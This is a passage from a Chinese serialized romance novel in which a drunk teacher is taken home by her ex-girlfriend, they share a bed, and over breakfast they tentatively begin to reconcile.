“有点。”林筝墨此刻对酒精的欲望大于食物,“再喝一杯。” 张老师又替她满上 原本是来吃牛肉汤锅的,到后面发展到俩人都喝起酒来,张老师大谈自己陈年往事,说尽前夫骚操作,实在愤懑,动不动就要举一杯,林筝墨零零散散也说一些她和简越的事。不觉得喝了多少,酒瓶却渐渐掏空。 四面变得聒噪起来,谈笑声如蚊子似的在林筝墨耳边低低嗡嗡,人类的语言变得难以拆解,三瓶啤酒见底,酒酣耳热,林筝墨思绪逐渐变得空茫。 揉揉眉心对张老师说: “我有点晕。” “哈呀,是过量了。”张老师顶多半醉,没太大感觉,“那你不喝了。” “嗯。”林筝墨的筷子在汤锅里走了一圈,捞出一块白萝卜来,差点没夹住,险些掉落。 张老师见她眼神迷濛,“小林,你以后还是少喝点。” 话音刚落。 下一秒—— 啪。 林筝墨手里的筷子一滑,人直接趴桌上了。??? * 晚上八点,简越和妹妹们吃完火锅出来,一片雪花从天空飘落,正好落在她的鼻尖上,一点冰凉在皮肤上迅速化开。 简越凝视天空,“怎么又下雪了?” 隔壁潮汕牛肉汤锅还在叫号,这家火锅店也是座无虚席。这年头生意真的难做吗?怎么家家都是爆满,是不是老板在网络上唱衰。 赵筱筱搓搓手:“我们去哪里呀?” 赵矜矜:“回家吧孩子。” 赵筱筱:“我问姐呢。” 赵矜矜:“我不是你姐吗?” 简越有点困了,想回家早点休息,想送走这两位,“我给你们打个车吧。” 筱筱不甘心:“今天就这么结束了吗?没有其它活动吗?” 简越看她,“你还想干嘛?” 筱筱故意:“林老师呢?约林老师出来玩。” 简越瞬间冷脸,手痒,想打人了。 赵矜矜去捂筱筱的嘴,毕竟年纪大些,不敢像筱筱那么冒冒失失。虽然,虽然她还挺想看戏的。 矜矜:“姐,你太累了,回去休息吧。” 简越刚刚也喝了两杯,微醺,自下午过后,心情就一般,现在只想回家呆着,没精力再玩了。 【欢迎下次光临。】——隔壁牛肉汤锅,一中年妇女扶着一个美女出来。 张老师搂着怀里人,“小林,你家住哪呀?” 林筝墨靠在张老师怀里,面颊泛红,嘟哝:“公寓。” 张老师眉头一皱:“哪个公寓?” 林筝墨摇摇头,闭着眼没声儿了。 张老师正愁打车还是带回家,无意间抬眼,隔壁火锅店门口看到一道身影,简越和她表妹正说着什么,电光石火之间,张老师的眼神儿和简越在空气中汇上。 两人都愣了一下。 来得早不如来得巧。 张老师如见救星,朗声说:“小简!哎哟喂!怎么又见面了!” 一声惊动另外俩人,赵筱筱一回头看见林筝墨,眸子里瞬间聚满了色彩。 火锅叫什么饭,这才是真的饭!好饭! “我没想到小林酒量这么差啊。”张老师说着眼神不自觉往简越那里飘。 那眼神像是猎人看见小羊羔,似笑非笑,简越一下子就知道怎么回事了。 Nooooooooo!!! 她连忙拿出手机开始打车,刚填好地址,张老师扶着林筝墨已经走过来。 “小简,我不知道小林住哪儿,不然你送她。” “我不行。”简越紧张得手指都在发颤。 在场所有人都是林筝墨的兵,简越自知孤立无援,只想撤退。 “帮帮忙。”张老师管它三七二十一,把人往简越怀里塞。 简越猝不及防,怀抱里忽然生出一个人来,软绵绵,热乎乎。 一旁的赵筱筱看戏,唇角疯狂上扬。 “不合适。”简越嘴上说着不合适,林筝墨已经靠过来,她不能不接她,扑面而来一股馥郁,林筝墨双手勾在简越的脖子上,整个身体的重量交付给简越。 Nooooooooox2!!! 这是在做什么!! 很诡异,贴上那瞬间,简越的身体快速产生反应,像是曼妥思扔进可乐里,无法抑制的气泡从身体里涌出来,沉睡了整个冬季的河床开始融化,冰冷的水滴滴嗒嗒落入她滚烫的身体里。 再一眨眼,张老师已经弹开五米远。 “哎我白酒也喝多了,送不动了,真不行了,麻烦你了小简。”张老师逃荒似的,大步流星过了马路,撞进一家便利店,消失得无影无踪。 林筝墨潮湿的呼吸贴在简越耳边,像海水一般迅速淹没了她。 “赵筱筱,过来。”简越耳根泛红,瞪筱筱一眼,“过来扶一下你的林老师。” 赵筱筱战术后退,一秒破功,捂着肚子狂喊:“啊这火锅有毒,肚子好痛啊。”转身去看赵矜矜:“姐,你带我去拉稀好不好?” 话糙理不糙。 明示。 赵矜矜站在一旁,眼底含笑,那笑容分明带着几分看戏的意味。 “姐她快不行了我们先走了。”赵矜矜拉着筱筱就要走。 “喂!”简越觉得真是莫名其妙。 前后两三分钟,她们是怎样做到的,难道是什么神秘组织,提前商量好的吗。 “喂!”简越盯着筱筱和矜矜的背影,“救救我!” 赵筱筱回过头来,忽然贱兮兮地笑了下,唇语:“祝你愉快。” 简越刚想说点什么,怀里的人忽然动了一下。 林筝墨软绵绵地靠在她身上,双肢勾着简越的脖子,不安分地蹭了蹭,简越低头一看,她一脸潮润,像夜里含苞待放沾满露珠的白雪花,清冽动人。 预约的网约车已经抵达,司机师傅拨来电话,让简越快点上车。 快点上车。 快点上车。 快点上车。 前女友在我怀里怎么上车! 哔—— 街边喇叭摁了一下,那司机不耐烦地催促着。 简越束手无策,只好搂着林筝墨朝网约车走去 第82章 第八十二章 睡,睡,睡,睡 第八十二章 这种感觉非常诡异:空手出去, 满载而归。 但也不能说满载而归吧。 毕竟是前女友呢。 简越搂着怀里的香香女人,不停给自己洗脑:扔掉!扔掉!扔掉! 把林筝墨扔掉!扔到街边,绝尘而去——那必然是不可能,只是一种愤懑的臆想罢了。 思来想去, 还是觉得把林筝墨送回家比较好。 她问司机:“师傅能不能转去香山公寓?” “不好意思我送完这单要回家了。”不改地址的意思。 “”简越也不好再说什么。 车继续开, 林筝墨的脑袋沉在简越肩膀上, 蓬松的头发摩擦着简越的脖颈,触碰得皮肤微痒。 狭小的计程车内, 头发的香味代替了皮革味道, 渺小的香气分子钻进简越的鼻腔里,令她无法忽略这种感觉。 她一直很喜欢林筝墨身上的气味。 很好闻。 很喜欢。 但又有点抗拒这种喜欢,理智上觉得不应该。 她想操控这种失控, 就像不会游泳的人又不想溺水,实则是一种无意义的抵抗。 带她回家吗? 外面还在下雪,街灯昏黄, 光影璀璨,在玻璃上生出一朵毛绒绒的花, 随着一帧一帧的树掠过, 窗户上的花黯淡了, 只见白雪细碎,简越看到自己清瘦而苍白的脸。 她思索着什么, 眼神渐渐失焦。 一些如果。 比如:如果没有分手之类的。 不知道过了几个街区, 车轮在雪地里留下印痕, 司机踩下刹车,“美女,到了,注意好随身物品不要遗留在车上。”他呲牙笑:“满意的话给个好评。” 简越心想, 让你改一下地址都不改,现在找我要好评,怎么好意思呢。 不语,扶着林筝墨下车,反手将车门阖上了。 雪比先前更大了,夜色里,林筝墨的黑色风衣上缀了几粒雪,几点晶莹闪烁着,她柔软的身骨靠在简越怀里,简越将她搂紧一些,会觉得大衣有些过于宽绰了,太瘦了。 扶着林筝墨过马路,夜晚的风一吹,额前的头发被吹散,露出清秀的额头。 简越心跳漏了一拍。 很久很久,她们已经很久很久没有靠这么近了。近到能看清对方睫毛卷翘的弧度,一根一根精致地生长在眼睑上,酒精把皮肤烘得粉红,林筝墨阖着眼,脸颊白皙又明艳。 喝醉的林筝墨透着一点点撩人。 去掉一点点。 “林筝墨。”简越小声唤她,“醒醒。” 林筝墨斜靠在简越怀里,不具备行走的能力,鼻子里哼哼唧唧,不知道是在回应还是不舒服。 “喝不了就别喝。”简越夹着她的双肢,过了马路又停下来。 带回家吗? 合理吗? 以什么身份呢? 简越迅速冷静下来,那些不好的回忆涌上心头。想起这个人是怎么逃跑的,是怎么留下红色感叹号的,是怎么惶恐了半年找不到人的。 她想走就走,想留就留,难道自己就要接受这一切么? 喝醉了也是活该。 活该! “林筝墨。”简越拍拍林筝墨的脸蛋,“醒醒。” “嗯”林筝墨虚眯着眼,意识游离,“你你是?” “我是张老师。”简越脱口而出。 “喔。”林筝墨去拉简越的手,试图站起来,力气不够。 简越借她一道力。 “张姐,我到家了吗?” 她说话时热气扑在简越的脖间,晕开一层红晕。整个人软绵绵贴上来,几乎所有重量都交付给简越。 “你觉得你到家了吗?”简越僵着身子,任由林筝墨抱着她。 “我,我不想回家。”林筝墨嘟哝着:“我想——” “你想?” “找简越。” 简越:“???” 林筝墨你害不害臊! “我想见她。”林筝墨说完这句,有气无力地叹了口气,闭上眼,不再言语。 简越站在原地,一秒,两秒,三秒 扔掉!扔掉!扔掉!把前女友扔掉!要不现在打个电话让张老师把她接走好了。 谁要管她死活。 结果下一秒就弯腰,弯腰就去背林筝墨,她不仅没把她送走,还提供接送服务。 呵呵。 简越自嘲,我好贱。 林筝墨真真实实是在背上了,就在这种讥讽和排斥中撂背上了,简越意识到,自己的讨厌是一种欲拒还迎的讨厌。 林筝墨伏在她后背,嘴里小声嘟哝:“张张老师。” 简越嫌她话多:“嘘。” 林筝墨:“张,张老师,你,你力气,力气好大。” 简越:“打麻将打的。” 林筝墨:“我要找她。” 简越:“做梦。” 林筝墨:“呜——” 林筝墨稀里糊涂被简越背着走,迷迷糊糊中总觉得这身材不是张老师,这声音也不是张老师,可她身体软绵绵的,思绪迷糊,她很少喝醉,以为自己是产生了幻觉,分不清也搞不懂。 楼道特别长,一阶一阶上去,她听见简越厚重的呼吸声。途中靠在冰凉的栏杆上,朦胧中睁开眼,看见简越的脸。 简越在喘气,在看她。 林筝墨晃晃脑袋。 分不清现实和虚幻。 直到楼顶,那扇门终于打开,林筝墨站在地面,小猫穿梭在两人之间,毛发磨蹭着林筝墨的裤脚,她才在迷糊中触碰到一点真实,又感受到有人扶着她,替她换拖鞋,走了一段路,躺在松软的沙发上。 那时客厅还没开灯,空气酸凉,林筝墨凝视着虚飘飘的天花板,忽然看着眼前的脸。 才不是张老师。 酒精的作用被稀释,得来一点清醒,目光所及一片漆黑,却窥见简越的五官,靠得那么近。 林筝墨幽深的瞳仁是黑暗中的一片湖,克制地注视着她的月亮。 忽然意识到不是幻觉,也不是梦,这是真真实实的简越。 简越并不知道林筝墨已经清醒大半,替她卸下外套,手脚摆放规矩,折身去卫生间,准备用洗脸巾替林筝墨擦擦脸。 听见卫生间的响动,林筝墨在沙发上翻了个身,观察四周,茶几、小猫、电视机。确定是在简越家里,又躺平,觉得从现在开始装傻比较好。 今晚,要不惜一切代价和简越靠近一些。 等待总是漫长,但她喜欢这种等待。 她听见厕所水龙头打开,厨房的热水器跟着呜隆隆隆,过了会儿,那声音消逝了,拧水声,接着是简越的脚步声。 踢哒踢哒,轻柔地踩在木质地板上。阳台外的黯冷的光落在简越的肩膀上,像镀了一层银光,虚幻而美丽。简越逐渐近了,蹲在林筝墨身旁。 林筝墨闭上眼,贪婪地汲取着属于简越的味道。 简越摊开手里的洗脸巾,覆盖在林筝墨的侧脸,小心翼翼替她擦拭着。 隔着洗脸巾感受着对方指腹的温度,虽不是什么特别亲密的动作,可林筝墨内心却得到了莫大的满足。 喜欢。 喜欢被简越触碰。 不论脸颊也好,身体也好,随便什么地方,被抚摸过的地方都着火似的。 她好晕。 也好热。 可能还有一点点醉吧。 “嗯”林筝墨故意发出这样的声音。 简越手上的动作停滞,呆呆地看着林筝墨,这声音,合理吗? 林筝墨倒也很会装,你不是说你是张老师吗,好的,张老师。 “张老师”她低声呼唤她。 简越尴尬地轻咳一声,“嗯” 林筝墨不说话,伸出手悬在空中,看样子是要“张老师”抱她起来的意思。 简·张老师只好照做。 自作孽,不可活。 当简越靠近林筝墨那瞬间,林筝墨双手攀上简越的双肩,在简越以为她要起身时,林筝墨故意用力,将简越朝自己的方向带。 大概是没想到林筝墨还有力气,简越猝不及防往下一跌,压在林筝墨身上。 成功。 卫星对接! 柔软贴着柔软,软得一塌糊涂。太久没亲密,这样一碰忽然很有感觉,林筝墨一声闷哼,强迫自己不要有太大反应。 身体却烧得火烈烈,欲念从缝隙中流淌,林筝墨不松开,反而用腿轻轻蹭着简越的腰,双手抚摸着简越的肩背。 她听到简越发出奇怪的声音。 两个人反应都很强烈,黑暗中,林筝墨变得主动起来,她甚至想夹简越的腰,想让简越靠得更近一些。 简越一只手支撑着,简直是受不了,受不了的同时心想:林筝墨,我是张老师,你对张老师也这么主动吗? “我没力气。”林筝墨软绵绵道,半真半假。 “我拉你起来。” “不要。”林筝墨开始耍赖,双手圈着简越的脖子不松开。 “你想干嘛?” “睡觉。” 睡觉。 动词的睡觉。 你不会懂的。 简越支撑着起来,要从林筝墨身上离开。 林筝墨不想,在简越怀里挣扎。 “林筝墨,你像只蛆在扭来扭去。” 林筝墨:“?” 我只是热情了一点。 你说我是蛆。 扭来扭去? 要不是追不到你谁用这种办法! 死了算了。 林筝墨放弃挣扎,今夜攻略简·张老师失败。 简越将她拉起来,正儿八经带到房间里去,又去接了杯温水让她漱口,林筝墨一切乖乖照做。 躺在简越的床上,闻着枕头香,她已经彻底的,完全的清醒过来。 关于是如何来到简越家,其实是没印象的,但对于这个结果相当满意。 隔日给张老师发个大红包吧。 实在不行给她老人家跪下。 “睡吧。”简越替她掖好被,自己打算睡沙发。 林筝墨岂能让到手的鸭子飞走呢。 “张老师”林筝墨抱着被子嗫嚅道,她还要佯装喝醉的语调:“张老师张老师” 简越一脸迷惑看着她,有这么黏张老师吗? “怎么了?” “床好大。” “嗯,怎么了。” 林筝墨抓着被褥,豁出去了:“冷,我怕,可以陪我睡吗?” 第83章 第八十三章 那种强烈的,热烈的吻…… 第八十三章 “冷, 我怕,可以陪我睡吗?” “冷就开空调。怕就开灯。” 林筝墨揉揉眉心,艰涩道:“可是头也好痛。” 简越站在门口,注视着床上的人, 不确定她到底酒醒没有。 确定先前是醉的, 因为说话磕磕巴巴, 浑身软得像泥,不过现在说话能连字成句了, 难道清醒了? 简越觉得林筝墨现在有装醉的嫌疑, 可转念一想,不至于吧? “我要洗澡。” “那你会陪我睡觉吗。”林筝墨蜷缩在被子里,双肢夹着被子, 一双眼睛凝视着简越。 不知是不是喝了酒的缘故,媚眼如丝,眼里暗含深情, 如同一把摄人心魄的钩子,撩动着简越的心。 “再说吧。”简越几乎是落荒而逃。 之后一直在纠结要不要一起睡觉, 简越觉得自己应当拒绝, 可就是忍不住去思考关于林筝墨的种种。 譬如会不会真的冷, 真的害怕,害怕就害怕吧, 可要是真的冷, 是会感冒的。 放心不下, 只能到卧室去看她。 总是这样,总是忍不住记挂着她。 那时林筝墨好像已经睡着了,简越站在床边,替她调空调的温度, 遥控板摁出滴滴几声,被窝里的人伸出手来,轻轻抓着简越的胳膊。 林筝墨也不说话,不再迷糊呼唤张老师,只是抓着简越的手,稍稍使力,示意简越到床上去。 房间很黑,灯已阖上。简越看不清林筝墨的表情,所以无法窥见她的情绪。 空调板顺势放在床头柜上,简越十分僵硬地躺下,心跳如雷。 她只是进来调温度,怎么调到床上来了?但好在林筝墨躺在她旁边,没有任何动作。 简越也困了,累了,不想再折腾,若真的睡沙发,她还得重新给自己套被套,太繁琐了。横竖将就一宿,有什么明天再说吧。 也躺下了。 也躺下了。 两条毛毛虫都躺下了,中间隔着一条不能跨越的太平洋,连接她们的是厚厚的被子,却是不去触碰对方的。 简越失眠。 林筝墨装睡。 回忆起夏日,无数个夜晚躺在这张床上,做.爱,接吻,拥抱。睡前有晚安吻,醒来也有,那时只嫌时间太短,哪像冬夜这般漫长。 简越从未想过她们的爱情会断送在秋天之前,估计林筝墨也没想过。 她当然记得那些细枝末节,记得林筝墨的嘴唇很软,吻她的时候她总会哼唧,身体异常敏感,那些留在夜晚浮光掠影般的画面,此刻回荡在简越的脑袋里,难以湮灭。 她想念林筝墨,想念林筝墨坐在她的腿上,她搂着她的腰,把黑夜拉得很长很长,捧着彼此的鼻息,坠落夏日的时光。 即使林筝墨现在就躺在旁边,但这种思念是个无底洞,迅速将简越吞噬了。 她开始感到痛苦。 整个秋天的痛苦就像街边的落叶,最终堆在街角,堆在心头,堆在烦闷的情绪里,怎么也走不出来了,再睁开眼,只看到夜里簌簌落下的白雪,简越眼底忽然泛着泪光。 一旁装睡的林筝墨翻了个身,面对简越。 在简越思绪已经行走一百万个弯弯绕绕之后,林筝墨伸手拥抱了简越。 这个拥抱非常突然,如同天上的云忽然掉落,覆盖在简越的身体上,迅速产生一些化学反应。 林筝墨纤细的双肢带来强有力的温暖,这种纤弱和能量的对比实在让人难以忽略,简越的肩膀贴在林筝墨的胸口,对方的手则搭在她的腰上。 和以前谈恋爱时一样的姿势,是亲昵、信任、幸福的代表,可它为什么会出现在这样的夜晚。 这个拥抱很不应该,但不得不承认的是,它被所有人期待。 简越阖上眼,觉得自己理应做一个装睡的人,不然怎么理所应当接受她的拥抱。 于是,林筝墨头发的香味变成了幽灵,回荡在这个房间,那幽灵缠上了简越,在简越耳边吐气,冰冷的挑逗令她浑身细胞都在喧嚣,那幽灵在她的颅内脱l衣,搔首弄姿,仿佛空气都变成了魅魔,一拳将简越打入了夏天的夜晚。 确切的,真实的反应令人懊恼 * 忘了几点睡的了。 林筝墨睁开眼时,天还未亮,凭着感觉,觉得应该是五六点左右,昨晚睡得还不错,她还是睡前的姿势,规规矩矩搂着简越,没有越界的动作。 卧室依旧很黯,但带着一点青蓝的幽光,勉强能看到简越侧脸的轮廓。 林筝墨不敢放肆,只能贪婪地注视着。 她想吻她。 那种强烈的,热烈的吻。 那种将嘴唇贴在她的唇上,推出舌尖,轻柔的,带着斯文面纱却搅乱她梦境的吻,想看到被吻醒的简越一脸迷濛地看着她,然后脱掉彼此的衣服,不辜负这样美妙的清晨。 当然这种欲望是一定要克制的,林筝墨什么都没做,只是呆呆地看着简越。 不知过了多久,林筝墨又睡着了 * 两小时后,简越在睡梦中惊醒。 是真的“惊”,昨晚她睡得浅,下意识觉得和林筝墨同床共眠这事不行,太冲动了,甚至半夜想起来转移至沙发,奈何太困,没什么力气,迷迷糊糊又睡到了清晨。 早间醒来依旧被搂着,简越脑袋却清醒多了。 将林筝墨的手从腰上拿开,趁对方还在睡,缓缓起身,动作之熟练,一气呵成,下床的时候舒了口气,连忙把剩余的被子朝林筝墨方向推了推,想制造出“我从未来过”的景象。 简越转身就往卧室外溜。 林筝墨缓缓睁开眼:“?” 哦。 她不想承认。 又没做什么,一副受惊的模样干嘛。 林筝墨倒是坦荡荡,秉承着“来都来了”的原则,愣是在床上赖床了一小时,直到厨房传来响动,寻思着简越应该是在做早餐了,她才慢悠悠起身。 趿着拖鞋朝厨房走去,见厨台上确实放着两个盘子,放心了。 林筝墨穿着一件浅灰色的宽松毛衣,双手抱胸倚靠在门框上,直勾勾看着简越,一脸松弛:“早上好啊~” “早。”简越盯着锅里,头也不回。 看似冷漠。 实则紧张。 “在煎什么?”林筝墨盯着锅里的煎蛋明知故问。 “煎蛋。” “喔。”林筝墨揉揉眉心,故意挑逗:“好奇怪,我怎么睡在你床上?” 简越尴尬至极,恨不得找个缝钻进去,都是昨晚没处理好,早该把这女人送到家里去,不然哪里还轮得到她来质问。 “你该问问你自己。” “我记得是在张老师家呀。”林筝墨眸子里漾着笑,“我还记得我和张老师一起睡的呀。” 唰。 简越耳尖变得绯红。 还好披着长发,林筝墨不至于看出端倪来。 煎蛋在油里呲啦呲啦,油在蛋白边缘冒着泡泡。林筝墨盯着简越握着锅铲的手指,唇角不自觉上扬。 “什么张老师。”简越声音冷漠:“我不知道你在说什么。” “我好像是和张老师吃了饭,喝了点酒,有点晕了。” “然后她也醉了,把你扔给我了。” “这样吗?”林筝墨故作惊讶,故意走近些,站在简越身旁,“所以你把我带回家了?” 简越好看的唇抿成一条线,“显而易见。” “那实在不好意思,我睡你床了,你都没地方睡,你是不是睡的沙发啊?” 她故意,非常故意。 无非就是想看简越怎么撒谎罢了。 简越:“!!!!” 哪壶不开提哪壶!! 当然是要撒谎的,可面对面总容易有破绽。 “嗯。” “辛苦了。”林筝墨反复强调:“睡沙发很冷吧,对不起,添麻烦了。” 这种客套反而让简越不自在起来,毕竟昨晚是真没睡沙发,睡您怀里呢。 “没事。”简越将火关掉,“拿个盘子。” “好~”林筝墨很想说,简越你的脸红成什么样了!真是一点不会撒谎! “给~”林筝墨把盘子放旁边,沉默两秒,没忍住:“你怎么了?” “嗯?”简越不明所以,抬眼看她。 “你脸好红,不舒服吗?”说着林筝墨故意又靠近一些,将脸凑到简越跟前,细致地凝视着她。 不靠近还好,一靠近简越愈发的心虚,她看着林筝墨的脸,想起昨晚的事,心脏扑通扑通狂跳。 “没有。”简越稍稍往后一些,主动拉开距离。 林筝墨也不追她,将煎蛋夹进盘子里。 却有些意犹未尽,实在喜欢简越这幅别扭的模样,忍不住想逗她。 “不过我昨晚做梦了。”林筝墨说。 “梦到什么?” “说来也怪,我梦到你躺在我旁边,我还抱你睡来着。” “你就乱做梦吧。”简越挪开眼,转身去拿冰箱里的吐司,手指在各种各样的食物中胡乱摸着,摸的是自己的心虚,摸的是昨晚的冲动。 现在下不了台阶,就怕林筝墨意识到那不是梦,到时候怎么解释? 这姑且也算一种纵容吧,是的,昨晚有点小冲动。 “嗯,很奇怪但很真实。”林筝墨低声嘟哝:“但你才不会和我一起睡觉的。”顿了顿,反问过去:“对吧?” “对。”简越秒答。 “嗯”林筝墨懒得和她周旋,直接开大招:“不过,我很好奇,你怎么没送我回家呢?”—— 作者有话说:林筝墨:主打一个打破沙锅问到底,咬住不放 第84章 第八十四章 我的老婆我自己哄 第八十四章 “不过, 我很好奇,你怎么没送我回家呢?” 林筝墨是一只专门研究简越的聪明虫子,匍匐在简越心虚的洞穴里,卓越地洞察着她的内心世界。 简越要如何为自己找借口, 以此掩饰昨晚其实有一点点点点的私心在里头。 只能糊弄过去:“很晚了, 打不到车。” “那谢谢你了。”林筝墨扬唇笑, 看破不戳破:“辛苦了简主任。” 在如此客套和正经的对话中,简越居然嗅到一丝挑逗的气味, 可在林筝墨的眼睛里却是什么都没捕捉到。 难道是自己多想了。 林筝墨端起手里的盘子, 指腹抚摸着盘子边缘,“不然中午请你吃个饭吧?” “不吃。” “好不领情。” 简越铁石心肠:“不和前女友吃饭。” 林筝墨窝火,却是笑着说的:“但要和前女友睡觉。”末了, 立马又纠正:“啊,看我胡说的,明明是做梦。” 简越觉得这女人真不会说话, 字字句句都让自己难堪。 说点粗俗的,若不是这种关系的话, 她现在真想把林筝墨摁在厨台上, 做一道番茄炒林筝墨鸡蛋, 以此泄愤!! 咦。 想远了。 “嗯你吃完早饭回家吧。” “好,我会走的。”林筝墨却是一步不挪的, 依旧站在简越旁边, 直勾勾看着她。 简越:“?” 林筝墨:“你隔壁有人住吗?” “有啊。”简越实话实说:“三班的高老师, 住进来好几个月了。” “但她调岗走了,去曲市了,又空出来了。” “所以呢?”简越面不改色,内心滔天海浪。 “所以你要有新的邻居了。” 是谁呢? 好难猜啊。 “你明明知道, 问我干嘛?” “想和你多说两句。”林筝墨明着说:“废话也行。” 就是想和你说很多很多废话,无意义的话,所有无意义的事情落在你身上,对我来说都有意义。 简越当然明白这是什么意思,她侧目去看林筝墨,发现林筝墨也在看她。 视线交触,忽然在彼此眼睛里捕捉到一个纯粹的,已经消亡的可怜夏天。 简越再次感到痛苦,又在这种痛苦中寻找到一点喜悦,她其实很清楚,为什么会一直一直感到痛苦,因为她一直在等待幸福,因为那种快乐姗姗来迟,她等得懊恼,生气,到最后发狂,而现在,她拿到了她的检查报告,无人可疗愈,除了医生林筝墨。 简越:“所以你为什么回来?” 林筝墨:“什么?” 简越:“你为什么突然回来。” 林筝墨:“因为你说你在谈恋爱。” “我没说。”简越挪开眼,将小火慢烤的吐司翻了个面,“我没说。” “你说了。”林筝墨笃定道:“你用张老师手机发的消息。” 平底锅烘烤着吐司表面,逐渐变得金灿灿,吐司很烫,简越眼睛也有点烫,她觉得理应当为吐司翻个面,可是另一面已经翻过了。 她觉得自己就是这片吐司,两面受煎。 受不了这种炙烤所以关了火,转身对林筝墨说: “所以我不发消息你就不回来,所以我不叫疼你就不管我死活。” “不是的。” “是的。”简越忍无可忍,有些愠怒:“我早就说过,你解决不了问题就解决我,说分手我可以理解,但为什么一点消息都没有,像死了一样。” “我说过了,我只能离开,只能断开一切,留在南城哪怕是收到一点关于你的消息,我也会忍不住” 林筝墨说到情绪上,忍不住靠近一些,靠近得非常干脆,好像她心里早就将她们之间的距离量过一万遍。 所有的克制和从容在这一刻决堤,林筝墨逼近,直到将简越压在厨台上,一双手捧着简越的脸,用低微的态度央求道: “你觉得我忍得住吗,你觉得我可以吗,你原谅我好不好,我是说以后,我妈妈她,她现在也知道我有自己的生活要过,那我们我们是不是也能自由了。” 有些话总是要说,在真的爱的人面前当不了哑巴。 她冷淡的气味中泛着一点甜,独属于简越的甜。 简越看着近在咫尺的脸,那样湿濡濡的眼睛,像是坠入了月光涌动的湖泊里,撩拨着她的心弦。 简越受不了这样的眼神,绝对受不了,在窒息中推拉,又无法抵抗林筝墨的触碰,可就要这样败阵下来吗,简越不确定。 “我不确定我们还能回到从前。” “那就不回到从前,回不到从前我们还有以后啊。” 林筝墨觉得,事已至此,不能既要又要了,她只能竭尽全力抓住自己可以抓住的东西,过去是有那么多遗憾,未来是绝对不能留下遗憾了,她们的爱情吃不了完美主义那一套。 简越挣扎着:“我——” 林筝墨打断她:“给我个机会好不好?我不需要你立马我和进入亲密关系,但是不要总是推开我好吗。” 和简越在一起那段时光,林筝墨学会了什么叫好好说话,曾经她是一只小鸵鸟,遇事只知道逃,不开心就不讲话,是简越耐心教她,引导她,让她懂得了什么叫爱。 她爱简越,爱她,除了强烈的身体欲望,她更想走近她,所以她有足够的耐心,要简越获得更多的安全感和尊重。 怀抱里,简越明显焦灼不安,或许此刻各种回忆夹击着她。 林筝墨察觉到,用脸去贴简越的脸,肌肤上的亲密,起到慰藉的作用。 她没有吻她。 她想,或许现阶段彼此之间需要的不是过于暧昧的东西。 一个拥抱,一点温情,一点点的触碰 在林筝墨脸颊贴过去那瞬间,简越忽然觉得心里好受多了,光滑的皮肤接触在一起,像是许久未见的老朋友终于重逢,那样熟悉,心底的焦躁消散不少。 但又是抗拒的。 “你不能出现在我的生活里,然后消失,然后又出现,后面又走掉。”简越垂着下巴,双手悬在空中,无所适从。 “我以后决不走掉。” “可是我很累。”简越就那么靠着林筝墨,感受着这个拥抱。 “我知道。”林筝墨拍拍她,抱抱她:“所以我说,你不需要立马和我进入亲密关系。” 伤口需要愈合,她有耐心。 简越像是赌气一般,忽然问出一个问题:“那如果我永远都不和你谈恋爱呢,你还会像现在这样吗?” 爱情里,这样的反问实在太多。通常来说,问这样问题的人,一定不是那么想的,但这好像是人类的通病,试图通过这种反向假设来揣测对方的想法。 林筝墨如临大敌,不敢懈怠,老实巴交地说:“如果你这辈子都不愿意和我在一起,那我一定非常难过,因为我和你还有好多事情没做,很多计划也关于你。不过,要是那是你的选择,我会尊重你。但我依旧会在你身边,如果你需要我的话。” 简越相当意外。 她从没设想过这样的话会从林筝墨嘴里说出来,这还是小鸵鸟吗? 从她一长段的,不间断的语言里,简越很容易感受到坦诚。 那是一种坦诚的我爱你。 我不要你再猜测,不要你再困惑,我把我能给的安全感全部掏出来,交付给你。 我也不强迫你一定要爱我,因为我爱你就够了。 曾几何时,林筝墨离开的这段时间里,简越无数次怀疑过这份爱,她总觉得林筝墨是不爱了,因为只有不爱的人才这么狠心,所以她悲伤,她以为爱情的世界只剩她自己,想当然是林筝墨把她扔掉了。 所以她恨她。 可好像不是的。 简越忽然很想哭,却觉得落泪好像会更加渲染气氛,怕林筝墨再说出什么动人的话,到时候心是再也硬不起来了。 真的有点怕一不小心和她吻上 没开玩笑。 有点儿动摇了。 “嗯。”简越只发出一个轻柔的鼻音。 “我是不是说太多了?” “有点。”——假的有点,实际听了很开心。 “那你现在什么想法?”林筝墨小心试探:“就如果您心情稍微好一点点的话,我可不可以可不可以申请把我从黑名单里拉出来。” 那句话里的“您”让简越觉得有点好笑,好笑中夹杂着点儿可爱,但现在是不许夸她可爱的,并且,简越知道林筝墨是故意这样说的。 鸵鸟就是坏! 看着憨憨心思多。 比如只是热个吐司,怎么煎着煎着煎到怀里来。 “哦,再说吧。”简越没松口,“你还抱着我呢。” “那不抱了。”林筝墨松开她,两人拉开距离,只得面对面。 对视,忽然觉得不自在,深挖的话,好像是有点害羞。这种诡异的氛围来得就是这般突然。 简越不自在扭过头去,重新开火,嘟哝:“这早餐到底要做多久啊。” 林筝墨唇角漾开笑意,“那我不打扰你了,你慢慢做。”她指了指盘子里的煎蛋,“这个我拿出去了?” “好。” 林筝墨端着盘子出去,将煎蛋放在餐桌上。泡泡在喝水,喝两口就要抬眼看一眼林筝墨,可爱至极。 “泡泡~”她又唤它,老猫踩着猫步过来,林筝墨蹲下,狂摸猫头,“宝宝,简主任把你喂得好胖哦。” 故意说得大声了点儿,好让厨房的人听到。 果然听到厨房传来笑声,那声音很轻,林筝墨却捕捉到了。 “哎~宝宝,你好幸福啊。”林筝墨继续糖衣炮弹:“小宝宝每天都可以和简主任待在一起,每天醒来就可以看到美女,每天待在这么干净温馨的家里,我们泡泡的命怎么这么好啊~” 厨房里,简越听得脸一阵一阵泛红。 禁止声东击西! 不听不听! 不得不说,离开这半年,林筝墨在外面学得老坏了! 第85章 第八十五章 拥抱幻想 第八十五章 林筝墨在客厅里疯狂炮击, 然而小猫必然是听不懂。 厨房内,简越躲不过枪林弹雨,耳朵不堪重负,烧起一团红晕来。 说些什么乱七八糟的! 她怎么这么会说! “泡泡命最好了, 哎, 我要是一只小猫就好了, 每天睁开眼就可以和简主任共处一室,好幸福啊, 当猫真的好幸福啊, 你去替我打工,去!泡泡你去替我打工!” 听见她轻轻拍小猫后背的声音,都能想象到蓬松的毛发空中飞舞。 泡泡:“喵咩~” 简越:“咳。” 猫给你逗傻了。 我也傻了。 又听见林筝墨笑:“不逗你了~” 简越后知后觉她才是那只被逗弄的小猫。 早餐吃简单的吐司鸡蛋, 既已如此,必然是要一起吃的。和前女友同进早餐总有那么一点点无所适从。 简越觉得闷声吃饭比较好。 林筝墨开启话题:“所以你今天打算干嘛?” “在家。” “要不要出去玩?” 